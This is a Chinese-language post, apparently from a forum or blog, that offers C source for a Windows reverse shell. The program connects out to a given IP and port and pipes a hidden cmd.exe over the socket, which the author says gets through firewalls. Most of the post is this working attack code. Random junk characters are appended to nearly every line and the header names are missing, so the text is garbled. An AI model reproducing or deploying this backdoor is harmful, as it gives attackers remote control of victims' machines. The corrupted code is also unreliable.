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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 v}D!  
Ts6X:D4,  
/* ============================== AFED YRX  
Rebound port in Windows NT T,>e\  
By wind,2006/7 #9Z-Hd<  
===============================*/ k]g\` gc  
#include {jG`l$$  
#include ,cEcMaJ  
gK#w$s50  
#pragma comment(lib,"wsock32.lib") 8ipLq`)  
[Nc  Ok,  
void OutputShell(); Pme?`YO$x  
SOCKET sClient; 9Z 4R!Q  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :g";p.~=  
XU7bWafy  
void main(int argc,char **argv) $)V4Eu;  
{ -2_$zk*n  
WSADATA stWsaData; zPYa@0I  
int nRet; ?2;G_P+  
SOCKADDR_IN stSaiClient,stSaiServer; K e8cfd~c  
$n"Llw&)  
if(argc != 3) bHnQLJ  
{ V  ""  
printf("Useage:\n\rRebound DestIP DestPort\n"); )`^:G3w  
return; Y~xZ{am  
} 2Oa-c|F  
Qrh9JFqdG6  
WSAStartup(MAKEWORD(2,2),&stWsaData); |?kH]Trr  
r~! lD9R~  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p2K9R4  
gK CIfxM  
stSaiClient.sin_family = AF_INET; 'CX KphlWs  
stSaiClient.sin_port = htons(0); ewg WzB9c  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); T\>=o]  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) }^q#0`e(y  
{ $Vzfhj-if  
printf("Bind Socket Failed!\n"); 9h{G1XL  
return; =Wa\yBj_;m  
} cw\a,>]H  
x7?{*w&r  
stSaiServer.sin_family = AF_INET; rGWTpN  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Xk$lQMwZ  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); .w~USJ=X  
)EoG@:[  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) BR'|hG  
{ ~7 Tz Ub  
printf("Connect Error!"); u+_#qk0NfK  
return; *$!LRmp?  
} '\Ub*m((1O  
OutputShell(); Qp ,l>k  
} TfPx   
MR}\fw$(.  
void OutputShell() |=POV]K  
{ x3Uv&  
char szBuff[1024]; :-)[B^0  
SECURITY_ATTRIBUTES stSecurityAttributes; EIRf6jL  
OSVERSIONINFO stOsversionInfo; V_* ^2c)  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; =j0V/=  
STARTUPINFO stStartupInfo; [>;O'>  
char *szShell; A?/?9Gr  
PROCESS_INFORMATION stProcessInformation; rxARJ so  
unsigned long lBytesRead; L;"<8\vWB  
jo ^*R'}  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ?6dtvz;K+?  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); CvN~  
stSecurityAttributes.lpSecurityDescriptor = 0; XHr{\/4V  
stSecurityAttributes.bInheritHandle = TRUE; :$j~;)2  
O 2U/zF:X  
HD ~9EK~  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); pK4)>q  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _OY;SJ(  
5IMH G%W7  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); nC rNZ&P  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Mw~ ?@Sq  
stStartupInfo.wShowWindow = SW_HIDE; AZa3!e/1  
stStartupInfo.hStdInput = hReadPipe; kBzzi^cl  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; gT.-Cf{  
o;.-I[9h]  
GetVersionEx(&stOsversionInfo); r2G<::<zL  
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switch(stOsversionInfo.dwPlatformId) Ut+mm\7  
{ }5k"aCno  
case 1: $sJn: 8z  
szShell = "command.com"; [3.rG!Na  
break; HIF] c  
default: Aq"_hjp  
szShell = "cmd.exe"; Ssj'1[%  
break; HZT;7<  
} 4v>V7T.  
MPt7 /  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); (GQy"IuFh  
ld $`5!Z  
send(sClient,szMsg,77,0); W.a/k7 p  
while(1) L6a8%%`  
{ Q%7EC>V  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ciTQH (G  
if(lBytesRead) sqw _c{9  
{ lwU&jo*@  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 7,1idY%cy  
send(sClient,szBuff,lBytesRead,0); [Ue>KG62=  
} 4Qd g t*  
else 3 yElN.=  
{ zE[c$KPP  
lBytesRead=recv(sClient,szBuff,1024,0); N(9'U0z  
if(lBytesRead<=0) break; k2=uP8  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); mT.F$Y9  
} L,WK L.  
} =4zsAa  
HiC\U%We  
return; rLwc=(|  
}
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